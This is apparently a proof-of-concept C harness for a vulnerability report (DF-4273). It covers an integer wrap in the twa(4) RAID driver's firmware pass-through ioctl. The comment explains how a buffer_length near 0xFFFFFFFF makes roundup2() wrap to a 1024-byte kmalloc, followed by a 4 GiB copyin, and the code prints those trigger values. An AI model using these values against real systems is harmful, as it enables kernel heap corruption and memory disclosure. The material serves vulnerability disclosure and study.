DF-4273 / twa_roundup2_overflow.c
/* * DF-4273 PoC — twa(4) TW_OSL_IOCTL_FIRMWARE_PASS_THROUGH roundup2() wrap * * sys/dev/raid/twa/tw_osl_freebsd.c:927 does: * * data_buf_size_adjusted = roundup2(user_buf->driver_pkt.buffer_length, * sc->sg_size_factor); * if ((req->length = data_buf_size_adjusted)) { * req->data = kmalloc(data_buf_size_adjusted, ..., M_WAITOK); * copyin(user_buf->pdata, req->data, * user_buf->driver_pkt.buffer_length); <-- raw length * * buffer_length is TW_UINT32 (tw_cl_ioctl.h:96) and sg_size_factor is * TW_UINT32 (tw_osl.h:135) == 512 on the 9000 PCI (device id 0x1002, * tw_cl_fwif.h:174). roundup2(x,y) = (((x)+((y)-1))&(~((y)-1))) * (sys/sys/param.h:403) is pure 32-bit unsigned arithmetic, so for * buffer_length in [0xFFFFFF01..0xFFFFFFFF] the round-up wraps: * * roundup2(0xFFFFFF01, 512) == 0x00000400 (1024) * * => kmalloc(1024) followed by copyin() of ~4 GiB of fully attacker- * controlled bytes into it: unbounded kernel heap overflow (and the * matching copyout() at :1031 is an unbounded kernel-heap over-read). * * This userspace harness reproduces the exact kernel arithmetic (same * macro, same types) and shows what the kernel would allocate vs. what * it would copy for attacker-chosen ioctl values. Running the real * ioctl requires a 3ware 9000 PCI controller (vendor 0x13C1 device * 0x1002); the harness also probes for /dev/twa0 so the run log records * whether the target hardware exists on the test machine. */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <unistd.h> typedef uint32_t TW_UINT32; /* verbatim sys/sys/param.h:403 */ #define roundup2(x, y) (((x)+((y)-1))&(~((y)-1))) /* values from tw_cl_fwif.h:174 (device 0x1002 => 512) and tw_cl_share.h:72 */ #define SG_SIZE_FACTOR_9K 512u #define SG_SIZE_FACTOR_OTHER 4u #define TW_CL_MAX_IO_SIZE 0x20000u static void probe(const char *label, TW_UINT32 sg) { static const TW_UINT32 cases[] = { 0x00000000u, 0x00000100u, /* benign sizes */ 0x00020000u, 0x00020001u, /* just past TW_CL_MAX_IO_SIZE */ 0x7FFFFFFFu, /* 2 GiB: unbounded kmalloc */ 0xFFFFFC01u, 0xFFFFFF00u, /* wrap to 0 -> no-payload path */ 0xFFFFFF01u, 0xFFFFFF80u, 0xFFFFFFFFu /* wrap to 1024 -> overflow */ }; unsigned i; printf("%s (sg_size_factor=%u):\n", label, sg); for (i = 0; i < sizeof(cases)/sizeof(cases[0]); i++) { TW_UINT32 bl = cases[i]; /* ioctl buffer_length */ TW_UINT32 adj = roundup2(bl, sg); /* kernel allocation size */ printf(" buffer_length=0x%08X -> kmalloc(0x%X=%u) copyin/copyout(0x%08X=%u)%s\n", bl, adj, adj, bl, bl, (adj && bl > adj) ? " *** OVERFLOW: copy larger than buffer ***" : (!adj && bl) ? " (no-payload path taken)" : (bl > TW_CL_MAX_IO_SIZE) ? " (over max I/O, unchecked)" : ""); } } int main(void) { int fd; printf("DF-4273: twa passthru roundup2() 32-bit wrap arithmetic proof\n"); printf("(reproduces tw_osl_freebsd.c:927 with kernel types/macro)\n\n"); probe("device 0x1002 (3ware 9000 PCI)", SG_SIZE_FACTOR_9K); printf("\n"); probe("devices 0x1003/0x1004/0x1005", SG_SIZE_FACTOR_OTHER); printf("\nProbing for the twa(4) control device:\n"); fd = open("/dev/twa0", O_RDWR); if (fd < 0) printf(" open(\"/dev/twa0\") = -1 (%s)\n", strerror(errno)); else { printf(" /dev/twa0 present (ioctl path reachable on this host)\n"); close(fd); } return 0; } |